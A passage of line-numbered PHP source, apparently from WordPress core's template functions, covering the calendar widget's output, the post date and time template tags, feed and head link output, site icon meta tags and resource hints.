1952 $calendar_output = '<table id="wp-calendar">
1953 <caption>' . sprintf(
1954 $calendar_caption,
1955 $wp_locale->get_month( $thismonth ),
1956 date( 'Y', $unixmonth )
1957 ) . '</caption>
1958 <thead>
1959 <tr>';
1960
1961 $myweek = array();
1962
1963 for ( $wdcount = 0; $wdcount <= 6; $wdcount++ ) {
1964 $myweek[] = $wp_locale->get_weekday( ( $wdcount + $week_begins ) % 7 );
1965 }
1966
1967 foreach ( $myweek as $wd ) {
1968 $day_name = $initial ? $wp_locale->get_weekday_initial( $wd ) : $wp_locale->get_weekday_abbrev( $wd );
1969 $wd = esc_attr( $wd );
1970 $calendar_output .= "\n\t\t<th scope=\"col\" title=\"$wd\">$day_name</th>";
1971 }
1972
1973 $calendar_output .= '
1974 </tr>
1975 </thead>
1976
1977 <tfoot>
1978 <tr>';
1979
1980 if ( $previous ) {
1981 $calendar_output .= "\n\t\t".'<td colspan="3" id="prev"><a href="' . get_month_link( $previous->year, $previous->month ) . '">« ' .
1982 $wp_locale->get_month_abbrev( $wp_locale->get_month( $previous->month ) ) .
1983 '</a></td>';
1984 } else {
1985 $calendar_output .= "\n\t\t".'<td colspan="3" id="prev" class="pad"> </td>';
1986 }
1987
1988 $calendar_output .= "\n\t\t".'<td class="pad"> </td>';
1989
1990 if ( $next ) {
1991 $calendar_output .= "\n\t\t".'<td colspan="3" id="next"><a href="' . get_month_link( $next->year, $next->month ) . '">' .
1992 $wp_locale->get_month_abbrev( $wp_locale->get_month( $next->month ) ) .
1993 ' »</a></td>';
1994 } else {
1995 $calendar_output .= "\n\t\t".'<td colspan="3" id="next" class="pad"> </td>';
1996 }
1997
1998 $calendar_output .= '
1999 </tr>
2000 </tfoot>
2001
2002 <tbody>
2003 <tr>';
2004
2005 $daywithpost = array();
2006
2007 // Get days with posts
2008 $dayswithposts = $wpdb->get_results("SELECT DISTINCT DAYOFMONTH(post_date)
2009 FROM $wpdb->posts WHERE post_date >= '{$thisyear}-{$thismonth}-01 00:00:00'
2010 AND post_type = 'post' AND post_status = 'publish'
2011 AND post_date <= '{$thisyear}-{$thismonth}-{$last_day} 23:59:59'", ARRAY_N);
2012 if ( $dayswithposts ) {
2013 foreach ( (array) $dayswithposts as $daywith ) {
2014 $daywithpost[] = $daywith[0];
2015 }
2016 }
2017
2018 // See how much we should pad in the beginning
2019 $pad = calendar_week_mod( date( 'w', $unixmonth ) - $week_begins );
2020 if ( 0 != $pad ) {
2021 $calendar_output .= "\n\t\t".'<td colspan="'. esc_attr( $pad ) .'" class="pad"> </td>';
2022 }
2023
2024 $newrow = false;
2025 $daysinmonth = (int) date( 't', $unixmonth );
2026
2027 for ( $day = 1; $day <= $daysinmonth; ++$day ) {
2028 if ( isset($newrow) && $newrow ) {
2029 $calendar_output .= "\n\t</tr>\n\t<tr>\n\t\t";
2030 }
2031 $newrow = false;
2032
2033 if ( $day == gmdate( 'j', $ts ) &&
2034 $thismonth == gmdate( 'm', $ts ) &&
2035 $thisyear == gmdate( 'Y', $ts ) ) {
2036 $calendar_output .= '<td id="today">';
2037 } else {
2038 $calendar_output .= '<td>';
2039 }
2040
2041 if ( in_array( $day, $daywithpost ) ) {
2042 // any posts today?
2043 $date_format = date( _x( 'F j, Y', 'daily archives date format' ), strtotime( "{$thisyear}-{$thismonth}-{$day}" ) );
2044 $label = sprintf( __( 'Posts published on %s' ), $date_format );
2045 $calendar_output .= sprintf(
2046 '<a href="%s" aria-label="%s">%s</a>',
2047 get_day_link( $thisyear, $thismonth, $day ),
2048 esc_attr( $label ),
2049 $day
2050 );
2051 } else {
2052 $calendar_output .= $day;
2053 }
2054 $calendar_output .= '</td>';
2055
2056 if ( 6 == calendar_week_mod( date( 'w', mktime(0, 0 , 0, $thismonth, $day, $thisyear ) ) - $week_begins ) ) {
2057 $newrow = true;
2058 }
2059 }
2060
2061 $pad = 7 - calendar_week_mod( date( 'w', mktime( 0, 0 , 0, $thismonth, $day, $thisyear ) ) - $week_begins );
2062 if ( $pad != 0 && $pad != 7 ) {
2063 $calendar_output .= "\n\t\t".'<td class="pad" colspan="'. esc_attr( $pad ) .'"> </td>';
2064 }
2065 $calendar_output .= "\n\t</tr>\n\t</tbody>\n\t</table>";
2066
2067 $cache[ $key ] = $calendar_output;
2068 wp_cache_set( 'get_calendar', $cache, 'calendar' );
2069
2070 if ( $echo ) {
2071 /**
2072 * Filters the HTML calendar output.
2073 *
2074 * @since 3.0.0
2075 *
2076 * @param string $calendar_output HTML output of the calendar.
2077 */
2078 echo apply_filters( 'get_calendar', $calendar_output );
2079 return;
2080 }
2081 /** This filter is documented in wp-includes/general-template.php */
2082 return apply_filters( 'get_calendar', $calendar_output );
2083}
2084
2085/**
2086 * Purge the cached results of get_calendar.
2087 *
2088 * @see get_calendar
2089 * @since 2.1.0
2090 */
2091function delete_get_calendar_cache() {
2092 wp_cache_delete( 'get_calendar', 'calendar' );
2093}
2094
2095/**
2096 * Display all of the allowed tags in HTML format with attributes.
2097 *
2098 * This is useful for displaying in the comment area, which elements and
2099 * attributes are supported. As well as any plugins which want to display it.
2100 *
2101 * @since 1.0.1
2102 *
2103 * @global array $allowedtags
2104 *
2105 * @return string HTML allowed tags entity encoded.
2106 */
2107function allowed_tags() {
2108 global $allowedtags;
2109 $allowed = '';
2110 foreach ( (array) $allowedtags as $tag => $attributes ) {
2111 $allowed .= '<'.$tag;
2112 if ( 0 < count($attributes) ) {
2113 foreach ( $attributes as $attribute => $limits ) {
2114 $allowed .= ' '.$attribute.'=""';
2115 }
2116 }
2117 $allowed .= '> ';
2118 }
2119 return htmlentities( $allowed );
2120}
2121
2122/***** Date/Time tags *****/
2123
2124/**
2125 * Outputs the date in iso8601 format for xml files.
2126 *
2127 * @since 1.0.0
2128 */
2129function the_date_xml() {
2130 echo mysql2date( 'Y-m-d', get_post()->post_date, false );
2131}
2132
2133/**
2134 * Display or Retrieve the date the current post was written (once per date)
2135 *
2136 * Will only output the date if the current post's date is different from the
2137 * previous one output.
2138 *
2139 * i.e. Only one date listing will show per day worth of posts shown in the loop, even if the
2140 * function is called several times for each post.
2141 *
2142 * HTML output can be filtered with 'the_date'.
2143 * Date string output can be filtered with 'get_the_date'.
2144 *
2145 * @since 0.71
2146 *
2147 * @global string|int|bool $currentday
2148 * @global string|int|bool $previousday
2149 *
2150 * @param string $d Optional. PHP date format defaults to the date_format option if not specified.
2151 * @param string $before Optional. Output before the date.
2152 * @param string $after Optional. Output after the date.
2153 * @param bool $echo Optional, default is display. Whether to echo the date or return it.
2154 * @return string|void String if retrieving.
2155 */
2156function the_date( $d = '', $before = '', $after = '', $echo = true ) {
2157 global $currentday, $previousday;
2158
2159 if ( is_new_day() ) {
2160 $the_date = $before . get_the_date( $d ) . $after;
2161 $previousday = $currentday;
2162
2163 /**
2164 * Filters the date a post was published for display.
2165 *
2166 * @since 0.71
2167 *
2168 * @param string $the_date The formatted date string.
2169 * @param string $d PHP date format. Defaults to 'date_format' option
2170 * if not specified.
2171 * @param string $before HTML output before the date.
2172 * @param string $after HTML output after the date.
2173 */
2174 $the_date = apply_filters( 'the_date', $the_date, $d, $before, $after );
2175
2176 if ( $echo )
2177 echo $the_date;
2178 else
2179 return $the_date;
2180 }
2181}
2182
2183/**
2184 * Retrieve the date on which the post was written.
2185 *
2186 * Unlike the_date() this function will always return the date.
2187 * Modify output with the {@see 'get_the_date'} filter.
2188 *
2189 * @since 3.0.0
2190 *
2191 * @param string $d Optional. PHP date format defaults to the date_format option if not specified.
2192 * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default current post.
2193 * @return false|string Date the current post was written. False on failure.
2194 */
2195function get_the_date( $d = '', $post = null ) {
2196 $post = get_post( $post );
2197
2198 if ( ! $post ) {
2199 return false;
2200 }
2201
2202 if ( '' == $d ) {
2203 $the_date = mysql2date( get_option( 'date_format' ), $post->post_date );
2204 } else {
2205 $the_date = mysql2date( $d, $post->post_date );
2206 }
2207
2208 /**
2209 * Filters the date a post was published.
2210 *
2211 * @since 3.0.0
2212 *
2213 * @param string $the_date The formatted date.
2214 * @param string $d PHP date format. Defaults to 'date_format' option
2215 * if not specified.
2216 * @param int|WP_Post $post The post object or ID.
2217 */
2218 return apply_filters( 'get_the_date', $the_date, $d, $post );
2219}
2220
2221/**
2222 * Display the date on which the post was last modified.
2223 *
2224 * @since 2.1.0
2225 *
2226 * @param string $d Optional. PHP date format defaults to the date_format option if not specified.
2227 * @param string $before Optional. Output before the date.
2228 * @param string $after Optional. Output after the date.
2229 * @param bool $echo Optional, default is display. Whether to echo the date or return it.
2230 * @return string|void String if retrieving.
2231 */
2232function the_modified_date( $d = '', $before = '', $after = '', $echo = true ) {
2233 $the_modified_date = $before . get_the_modified_date($d) . $after;
2234
2235 /**
2236 * Filters the date a post was last modified for display.
2237 *
2238 * @since 2.1.0
2239 *
2240 * @param string $the_modified_date The last modified date.
2241 * @param string $d PHP date format. Defaults to 'date_format' option
2242 * if not specified.
2243 * @param string $before HTML output before the date.
2244 * @param string $after HTML output after the date.
2245 */
2246 $the_modified_date = apply_filters( 'the_modified_date', $the_modified_date, $d, $before, $after );
2247
2248 if ( $echo )
2249 echo $the_modified_date;
2250 else
2251 return $the_modified_date;
2252
2253}
2254
2255/**
2256 * Retrieve the date on which the post was last modified.
2257 *
2258 * @since 2.1.0
2259 * @since 4.6.0 Added the `$post` parameter.
2260 *
2261 * @param string $d Optional. PHP date format defaults to the date_format option if not specified.
2262 * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default current post.
2263 * @return false|string Date the current post was modified. False on failure.
2264 */
2265function get_the_modified_date( $d = '', $post = null ) {
2266 $post = get_post( $post );
2267
2268 if ( ! $post ) {
2269 // For backward compatibility, failures go through the filter below.
2270 $the_time = false;
2271 } elseif ( empty( $d ) ) {
2272 $the_time = get_post_modified_time( get_option( 'date_format' ), false, $post, true );
2273 } else {
2274 $the_time = get_post_modified_time( $d, false, $post, true );
2275 }
2276
2277 /**
2278 * Filters the date a post was last modified.
2279 *
2280 * @since 2.1.0
2281 * @since 4.6.0 Added the `$post` parameter.
2282 *
2283 * @param string $the_time The formatted date.
2284 * @param string $d PHP date format. Defaults to value specified in
2285 * 'date_format' option.
2286 * @param WP_Post $post WP_Post object.
2287 */
2288 return apply_filters( 'get_the_modified_date', $the_time, $d, $post );
2289}
2290
2291/**
2292 * Display the time at which the post was written.
2293 *
2294 * @since 0.71
2295 *
2296 * @param string $d Either 'G', 'U', or php date format.
2297 */
2298function the_time( $d = '' ) {
2299 /**
2300 * Filters the time a post was written for display.
2301 *
2302 * @since 0.71
2303 *
2304 * @param string $get_the_time The formatted time.
2305 * @param string $d The time format. Accepts 'G', 'U',
2306 * or php date format.
2307 */
2308 echo apply_filters( 'the_time', get_the_time( $d ), $d );
2309}
2310
2311/**
2312 * Retrieve the time at which the post was written.
2313 *
2314 * @since 1.5.0
2315 *
2316 * @param string $d Optional. Format to use for retrieving the time the post
2317 * was written. Either 'G', 'U', or php date format defaults
2318 * to the value specified in the time_format option. Default empty.
2319 * @param int|WP_Post $post WP_Post object or ID. Default is global $post object.
2320 * @return string|int|false Formatted date string or Unix timestamp if `$id` is 'U' or 'G'. False on failure.
2321 */
2322function get_the_time( $d = '', $post = null ) {
2323 $post = get_post($post);
2324
2325 if ( ! $post ) {
2326 return false;
2327 }
2328
2329 if ( '' == $d )
2330 $the_time = get_post_time(get_option('time_format'), false, $post, true);
2331 else
2332 $the_time = get_post_time($d, false, $post, true);
2333
2334 /**
2335 * Filters the time a post was written.
2336 *
2337 * @since 1.5.0
2338 *
2339 * @param string $the_time The formatted time.
2340 * @param string $d Format to use for retrieving the time the post was written.
2341 * Accepts 'G', 'U', or php date format value specified
2342 * in 'time_format' option. Default empty.
2343 * @param int|WP_Post $post WP_Post object or ID.
2344 */
2345 return apply_filters( 'get_the_time', $the_time, $d, $post );
2346}
2347
2348/**
2349 * Retrieve the time at which the post was written.
2350 *
2351 * @since 2.0.0
2352 *
2353 * @param string $d Optional. Format to use for retrieving the time the post
2354 * was written. Either 'G', 'U', or php date format. Default 'U'.
2355 * @param bool $gmt Optional. Whether to retrieve the GMT time. Default false.
2356 * @param int|WP_Post $post WP_Post object or ID. Default is global $post object.
2357 * @param bool $translate Whether to translate the time string. Default false.
2358 * @return string|int|false Formatted date string or Unix timestamp if `$id` is 'U' or 'G'. False on failure.
2359 */
2360function get_post_time( $d = 'U', $gmt = false, $post = null, $translate = false ) {
2361 $post = get_post($post);
2362
2363 if ( ! $post ) {
2364 return false;
2365 }
2366
2367 if ( $gmt )
2368 $time = $post->post_date_gmt;
2369 else
2370 $time = $post->post_date;
2371
2372 $time = mysql2date($d, $time, $translate);
2373
2374 /**
2375 * Filters the localized time a post was written.
2376 *
2377 * @since 2.6.0
2378 *
2379 * @param string $time The formatted time.
2380 * @param string $d Format to use for retrieving the time the post was written.
2381 * Accepts 'G', 'U', or php date format. Default 'U'.
2382 * @param bool $gmt Whether to retrieve the GMT time. Default false.
2383 */
2384 return apply_filters( 'get_post_time', $time, $d, $gmt );
2385}
2386
2387/**
2388 * Display the time at which the post was last modified.
2389 *
2390 * @since 2.0.0
2391 *
2392 * @param string $d Optional Either 'G', 'U', or php date format defaults to the value specified in the time_format option.
2393 */
2394function the_modified_time($d = '') {
2395 /**
2396 * Filters the localized time a post was last modified, for display.
2397 *
2398 * @since 2.0.0
2399 *
2400 * @param string $get_the_modified_time The formatted time.
2401 * @param string $d The time format. Accepts 'G', 'U',
2402 * or php date format. Defaults to value
2403 * specified in 'time_format' option.
2404 */
2405 echo apply_filters( 'the_modified_time', get_the_modified_time($d), $d );
2406}
2407
2408/**
2409 * Retrieve the time at which the post was last modified.
2410 *
2411 * @since 2.0.0
2412 * @since 4.6.0 Added the `$post` parameter.
2413 *
2414 * @param string $d Optional. Format to use for retrieving the time the post
2415 * was modified. Either 'G', 'U', or php date format defaults
2416 * to the value specified in the time_format option. Default empty.
2417 * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default current post.
2418 * @return false|string Formatted date string or Unix timestamp. False on failure.
2419 */
2420function get_the_modified_time( $d = '', $post = null ) {
2421 $post = get_post( $post );
2422
2423 if ( ! $post ) {
2424 // For backward compatibility, failures go through the filter below.
2425 $the_time = false;
2426 } elseif ( empty( $d ) ) {
2427 $the_time = get_post_modified_time( get_option( 'time_format' ), false, $post, true );
2428 } else {
2429 $the_time = get_post_modified_time( $d, false, $post, true );
2430 }
2431
2432 /**
2433 * Filters the localized time a post was last modified.
2434 *
2435 * @since 2.0.0
2436 * @since 4.6.0 Added the `$post` parameter.
2437 *
2438 * @param string $the_time The formatted time.
2439 * @param string $d Format to use for retrieving the time the post was
2440 * written. Accepts 'G', 'U', or php date format. Defaults
2441 * to value specified in 'time_format' option.
2442 * @param WP_Post $post WP_Post object.
2443 */
2444 return apply_filters( 'get_the_modified_time', $the_time, $d, $post );
2445}
2446
2447/**
2448 * Retrieve the time at which the post was last modified.
2449 *
2450 * @since 2.0.0
2451 *
2452 * @param string $d Optional. Format to use for retrieving the time the post
2453 * was modified. Either 'G', 'U', or php date format. Default 'U'.
2454 * @param bool $gmt Optional. Whether to retrieve the GMT time. Default false.
2455 * @param int|WP_Post $post WP_Post object or ID. Default is global $post object.
2456 * @param bool $translate Whether to translate the time string. Default false.
2457 * @return string|int|false Formatted date string or Unix timestamp if `$id` is 'U' or 'G'. False on failure.
2458 */
2459function get_post_modified_time( $d = 'U', $gmt = false, $post = null, $translate = false ) {
2460 $post = get_post($post);
2461
2462 if ( ! $post ) {
2463 return false;
2464 }
2465
2466 if ( $gmt )
2467 $time = $post->post_modified_gmt;
2468 else
2469 $time = $post->post_modified;
2470 $time = mysql2date($d, $time, $translate);
2471
2472 /**
2473 * Filters the localized time a post was last modified.
2474 *
2475 * @since 2.8.0
2476 *
2477 * @param string $time The formatted time.
2478 * @param string $d The date format. Accepts 'G', 'U', or php date format. Default 'U'.
2479 * @param bool $gmt Whether to return the GMT time. Default false.
2480 */
2481 return apply_filters( 'get_post_modified_time', $time, $d, $gmt );
2482}
2483
2484/**
2485 * Display the weekday on which the post was written.
2486 *
2487 * @since 0.71
2488 *
2489 * @global WP_Locale $wp_locale
2490 */
2491function the_weekday() {
2492 global $wp_locale;
2493 $the_weekday = $wp_locale->get_weekday( mysql2date( 'w', get_post()->post_date, false ) );
2494
2495 /**
2496 * Filters the weekday on which the post was written, for display.
2497 *
2498 * @since 0.71
2499 *
2500 * @param string $the_weekday
2501 */
2502 echo apply_filters( 'the_weekday', $the_weekday );
2503}
2504
2505/**
2506 * Display the weekday on which the post was written.
2507 *
2508 * Will only output the weekday if the current post's weekday is different from
2509 * the previous one output.
2510 *
2511 * @since 0.71
2512 *
2513 * @global WP_Locale $wp_locale
2514 * @global string|int|bool $currentday
2515 * @global string|int|bool $previousweekday
2516 *
2517 * @param string $before Optional Output before the date.
2518 * @param string $after Optional Output after the date.
2519 */
2520function the_weekday_date($before='',$after='') {
2521 global $wp_locale, $currentday, $previousweekday;
2522 $the_weekday_date = '';
2523 if ( $currentday != $previousweekday ) {
2524 $the_weekday_date .= $before;
2525 $the_weekday_date .= $wp_locale->get_weekday( mysql2date( 'w', get_post()->post_date, false ) );
2526 $the_weekday_date .= $after;
2527 $previousweekday = $currentday;
2528 }
2529
2530 /**
2531 * Filters the localized date on which the post was written, for display.
2532 *
2533 * @since 0.71
2534 *
2535 * @param string $the_weekday_date
2536 * @param string $before The HTML to output before the date.
2537 * @param string $after The HTML to output after the date.
2538 */
2539 $the_weekday_date = apply_filters( 'the_weekday_date', $the_weekday_date, $before, $after );
2540 echo $the_weekday_date;
2541}
2542
2543/**
2544 * Fire the wp_head action.
2545 *
2546 * See {@see 'wp_head'}.
2547 *
2548 * @since 1.2.0
2549 */
2550function wp_head() {
2551 /**
2552 * Prints scripts or data in the head tag on the front end.
2553 *
2554 * @since 1.5.0
2555 */
2556 do_action( 'wp_head' );
2557}
2558
2559/**
2560 * Fire the wp_footer action.
2561 *
2562 * See {@see 'wp_footer'}.
2563 *
2564 * @since 1.5.1
2565 */
2566function wp_footer() {
2567 /**
2568 * Prints scripts or data before the closing body tag on the front end.
2569 *
2570 * @since 1.5.1
2571 */
2572 do_action( 'wp_footer' );
2573}
2574
2575/**
2576 * Display the links to the general feeds.
2577 *
2578 * @since 2.8.0
2579 *
2580 * @param array $args Optional arguments.
2581 */
2582function feed_links( $args = array() ) {
2583 if ( !current_theme_supports('automatic-feed-links') )
2584 return;
2585
2586 $defaults = array(
2587 /* translators: Separator between blog name and feed type in feed links */
2588 'separator' => _x('»', 'feed link'),
2589 /* translators: 1: blog title, 2: separator (raquo) */
2590 'feedtitle' => __('%1$s %2$s Feed'),
2591 /* translators: 1: blog title, 2: separator (raquo) */
2592 'comstitle' => __('%1$s %2$s Comments Feed'),
2593 );
2594
2595 $args = wp_parse_args( $args, $defaults );
2596
2597 /**
2598 * Filters whether to display the posts feed link.
2599 *
2600 * @since 4.4.0
2601 *
2602 * @param bool $show Whether to display the posts feed link. Default true.
2603 */
2604 if ( apply_filters( 'feed_links_show_posts_feed', true ) ) {
2605 echo '<link rel="alternate" type="' . feed_content_type() . '" title="' . esc_attr( sprintf( $args['feedtitle'], get_bloginfo( 'name' ), $args['separator'] ) ) . '" href="' . esc_url( get_feed_link() ) . "\" />\n";
2606 }
2607
2608 /**
2609 * Filters whether to display the comments feed link.
2610 *
2611 * @since 4.4.0
2612 *
2613 * @param bool $show Whether to display the comments feed link. Default true.
2614 */
2615 if ( apply_filters( 'feed_links_show_comments_feed', true ) ) {
2616 echo '<link rel="alternate" type="' . feed_content_type() . '" title="' . esc_attr( sprintf( $args['comstitle'], get_bloginfo( 'name' ), $args['separator'] ) ) . '" href="' . esc_url( get_feed_link( 'comments_' . get_default_feed() ) ) . "\" />\n";
2617 }
2618}
2619
2620/**
2621 * Display the links to the extra feeds such as category feeds.
2622 *
2623 * @since 2.8.0
2624 *
2625 * @param array $args Optional arguments.
2626 */
2627function feed_links_extra( $args = array() ) {
2628 $defaults = array(
2629 /* translators: Separator between blog name and feed type in feed links */
2630 'separator' => _x('»', 'feed link'),
2631 /* translators: 1: blog name, 2: separator(raquo), 3: post title */
2632 'singletitle' => __('%1$s %2$s %3$s Comments Feed'),
2633 /* translators: 1: blog name, 2: separator(raquo), 3: category name */
2634 'cattitle' => __('%1$s %2$s %3$s Category Feed'),
2635 /* translators: 1: blog name, 2: separator(raquo), 3: tag name */
2636 'tagtitle' => __('%1$s %2$s %3$s Tag Feed'),
2637 /* translators: 1: blog name, 2: separator(raquo), 3: term name, 4: taxonomy singular name */
2638 'taxtitle' => __('%1$s %2$s %3$s %4$s Feed'),
2639 /* translators: 1: blog name, 2: separator(raquo), 3: author name */
2640 'authortitle' => __('%1$s %2$s Posts by %3$s Feed'),
2641 /* translators: 1: blog name, 2: separator(raquo), 3: search phrase */
2642 'searchtitle' => __('%1$s %2$s Search Results for “%3$s” Feed'),
2643 /* translators: 1: blog name, 2: separator(raquo), 3: post type name */
2644 'posttypetitle' => __('%1$s %2$s %3$s Feed'),
2645 );
2646
2647 $args = wp_parse_args( $args, $defaults );
2648
2649 if ( is_singular() ) {
2650 $id = 0;
2651 $post = get_post( $id );
2652
2653 if ( comments_open() || pings_open() || $post->comment_count > 0 ) {
2654 $title = sprintf( $args['singletitle'], get_bloginfo('name'), $args['separator'], the_title_attribute( array( 'echo' => false ) ) );
2655 $href = get_post_comments_feed_link( $post->ID );
2656 }
2657 } elseif ( is_post_type_archive() ) {
2658 $post_type = get_query_var( 'post_type' );
2659 if ( is_array( $post_type ) )
2660 $post_type = reset( $post_type );
2661
2662 $post_type_obj = get_post_type_object( $post_type );
2663 $title = sprintf( $args['posttypetitle'], get_bloginfo( 'name' ), $args['separator'], $post_type_obj->labels->name );
2664 $href = get_post_type_archive_feed_link( $post_type_obj->name );
2665 } elseif ( is_category() ) {
2666 $term = get_queried_object();
2667
2668 if ( $term ) {
2669 $title = sprintf( $args['cattitle'], get_bloginfo('name'), $args['separator'], $term->name );
2670 $href = get_category_feed_link( $term->term_id );
2671 }
2672 } elseif ( is_tag() ) {
2673 $term = get_queried_object();
2674
2675 if ( $term ) {
2676 $title = sprintf( $args['tagtitle'], get_bloginfo('name'), $args['separator'], $term->name );
2677 $href = get_tag_feed_link( $term->term_id );
2678 }
2679 } elseif ( is_tax() ) {
2680 $term = get_queried_object();
2681 $tax = get_taxonomy( $term->taxonomy );
2682 $title = sprintf( $args['taxtitle'], get_bloginfo('name'), $args['separator'], $term->name, $tax->labels->singular_name );
2683 $href = get_term_feed_link( $term->term_id, $term->taxonomy );
2684 } elseif ( is_author() ) {
2685 $author_id = intval( get_query_var('author') );
2686
2687 $title = sprintf( $args['authortitle'], get_bloginfo('name'), $args['separator'], get_the_author_meta( 'display_name', $author_id ) );
2688 $href = get_author_feed_link( $author_id );
2689 } elseif ( is_search() ) {
2690 $title = sprintf( $args['searchtitle'], get_bloginfo('name'), $args['separator'], get_search_query( false ) );
2691 $href = get_search_feed_link();
2692 } elseif ( is_post_type_archive() ) {
2693 $title = sprintf( $args['posttypetitle'], get_bloginfo('name'), $args['separator'], post_type_archive_title( '', false ) );
2694 $post_type_obj = get_queried_object();
2695 if ( $post_type_obj )
2696 $href = get_post_type_archive_feed_link( $post_type_obj->name );
2697 }
2698
2699 if ( isset($title) && isset($href) )
2700 echo '<link rel="alternate" type="' . feed_content_type() . '" title="' . esc_attr( $title ) . '" href="' . esc_url( $href ) . '" />' . "\n";
2701}
2702
2703/**
2704 * Display the link to the Really Simple Discovery service endpoint.
2705 *
2706 * @link http://archipelago.phrasewise.com/rsd
2707 * @since 2.0.0
2708 */
2709function rsd_link() {
2710 echo '<link rel="EditURI" type="application/rsd+xml" title="RSD" href="' . esc_url( site_url( 'xmlrpc.php?rsd', 'rpc' ) ) . '" />' . "\n";
2711}
2712
2713/**
2714 * Display the link to the Windows Live Writer manifest file.
2715 *
2716 * @link https://msdn.microsoft.com/en-us/library/bb463265.aspx
2717 * @since 2.3.1
2718 */
2719function wlwmanifest_link() {
2720 echo '<link rel="wlwmanifest" type="application/wlwmanifest+xml" href="',
2721 includes_url( 'wlwmanifest.xml' ), '" /> ', "\n";
2722}
2723
2724/**
2725 * Displays a noindex meta tag if required by the blog configuration.
2726 *
2727 * If a blog is marked as not being public then the noindex meta tag will be
2728 * output to tell web robots not to index the page content. Add this to the
2729 * {@see 'wp_head'} action.
2730 *
2731 * Typical usage is as a {@see 'wp_head'} callback:
2732 *
2733 * add_action( 'wp_head', 'noindex' );
2734 *
2735 * @see wp_no_robots
2736 *
2737 * @since 2.1.0
2738 */
2739function noindex() {
2740 // If the blog is not public, tell robots to go away.
2741 if ( '0' == get_option('blog_public') )
2742 wp_no_robots();
2743}
2744
2745/**
2746 * Display a noindex meta tag.
2747 *
2748 * Outputs a noindex meta tag that tells web robots not to index the page content.
2749 * Typical usage is as a wp_head callback. add_action( 'wp_head', 'wp_no_robots' );
2750 *
2751 * @since 3.3.0
2752 */
2753function wp_no_robots() {
2754 echo "<meta name='robots' content='noindex,follow' />\n";
2755}
2756
2757/**
2758 * Display site icon meta tags.
2759 *
2760 * @since 4.3.0
2761 *
2762 * @link https://www.whatwg.org/specs/web-apps/current-work/multipage/links.html#rel-icon HTML5 specification link icon.
2763 */
2764function wp_site_icon() {
2765 if ( ! has_site_icon() && ! is_customize_preview() ) {
2766 return;
2767 }
2768
2769 $meta_tags = array(
2770 sprintf( '<link rel="icon" href="%s" sizes="32x32" />', esc_url( get_site_icon_url( 32 ) ) ),
2771 sprintf( '<link rel="icon" href="%s" sizes="192x192" />', esc_url( get_site_icon_url( 192 ) ) ),
2772 sprintf( '<link rel="apple-touch-icon-precomposed" href="%s" />', esc_url( get_site_icon_url( 180 ) ) ),
2773 sprintf( '<meta name="msapplication-TileImage" content="%s" />', esc_url( get_site_icon_url( 270 ) ) ),
2774 );
2775
2776 /**
2777 * Filters the site icon meta tags, so Plugins can add their own.
2778 *
2779 * @since 4.3.0
2780 *
2781 * @param array $meta_tags Site Icon meta elements.
2782 */
2783 $meta_tags = apply_filters( 'site_icon_meta_tags', $meta_tags );
2784 $meta_tags = array_filter( $meta_tags );
2785
2786 foreach ( $meta_tags as $meta_tag ) {
2787 echo "$meta_tag\n";
2788 }
2789}
2790
2791/**
2792 * Prints resource hints to browsers for pre-fetching, pre-rendering
2793 * and pre-connecting to web sites.
2794 *
2795 * Gives hints to browsers to prefetch specific pages or render them
2796 * in the background, to perform DNS lookups or to begin the connection
2797 * handshake (DNS, TCP, TLS) in the background.
2798 *
2799 * These performance improving indicators work by using `<link rel"…">`.
2800 *
2801 * @since 4.6.0
2802 */
2803function wp_resource_hints() {
2804 $hints = array(
2805 'dns-prefetch' => wp_dependencies_unique_hosts(),
2806 'preconnect' => array(),
2807 'prefetch' => array(),
2808 'prerender' => array(),
2809 );
2810
2811 /*
2812 * Add DNS prefetch for the Emoji CDN.
2813 * The path is removed in the foreach loop below.
2814 */
2815 /** This filter is documented in wp-includes/formatting.php */
2816 $hints['dns-prefetch'][] = apply_filters( 'emoji_svg_url', 'https://s.w.org/images/core/emoji/2/svg/' );
2817
2818 foreach ( $hints as $relation_type => $urls ) {
2819 /**
2820 * Filters domains and URLs for resource hints of relation type.
2821 *
2822 * @since 4.6.0
2823 *
2824 * @param array $urls URLs to print for resource hints.
2825 * @param string $relation_type The relation type the URLs are printed for, e.g. 'preconnect' or 'prerender'.
2826 */
2827 $urls = apply_filters( 'wp_resource_hints', $urls, $relation_type );
2828
2829 foreach ( $urls as $key => $url ) {
2830 $url = esc_url( $url, array( 'http', 'https' ) );
2831 if ( ! $url ) {
2832 unset( $urls[ $key ] );
2833 continue;
2834 }
2835
2836 if ( in_array( $relation_type, array( 'preconnect', 'dns-prefetch' ) ) ) {
2837 $parsed = wp_parse_url( $url );
2838 if ( empty( $parsed['host'] ) ) {
2839 unset( $urls[ $key ] );
2840 continue;
2841 }
2842
2843 if ( 'preconnect' === $relation_type && ! empty( $parsed['scheme'] ) ) {
2844 $url = $parsed['scheme'] . '://' . $parsed['host'];
2845 } else {
2846 // Use protocol-relative URLs for dns-prefetch or if scheme is missing.
2847 $url = '//' . $parsed['host'];
2848 }
2849 }
2850
2851 $urls[ $key ] = $url;
2852 }
2853
2854 $urls = array_unique( $urls );
2855
2856 foreach ( $urls as $url ) {
2857 printf( "<link rel='%s' href='%s' />\n", $relation_type, $url );
2858 }
2859 }
2860}
2861
2862/**
2863 * Retrieves a list of unique hosts of all enqueued scripts and styles.
2864 *
2865 * @since 4.6.0
2866 *
2867 * @return array A list of unique hosts of enqueued scripts and styles.
2868 */
2869function wp_dependencies_unique_hosts() {
2870 global $wp_scripts, $wp_styles;
2871
2872 $unique_hosts = array();
2873
2874 foreach ( array( $wp_scripts, $wp_styles ) as $dependencies ) {
2875 if ( $dependencies instanceof WP_Dependencies && ! empty( $dependencies->queue ) ) {
2876 foreach ( $dependencies->queue as $handle ) {
2877 if ( ! isset( $dependencies->registered[ $handle ] ) ) {
2878 continue;
2879 }
2880
2881 /* @var _WP_Dependency $dependency */
2882 $dependency = $dependencies->registered[ $handle ];
2883 $parsed = wp_parse_url( $dependency->src );
2884
2885 if ( ! empty( $parsed['host'] ) && ! in_array( $parsed['host'], $unique_hosts ) && $parsed['host'] !== $_SERVER['SERVER_NAME'] ) {
2886 $unique_hosts[] = $parsed['host'];
2887 }
2888 }
2889 }
2890 }
2891
2892 return $unique_hosts;
2893}
2894
2895/**
2896 * Whether the user should have a WYSIWIG editor.
2897 *
2898 * Checks that the user requires a WYSIWIG editor and that the editor is
2899 * supported in the users browser.
2900 *
2901 * @since 2.0.0
2902 *
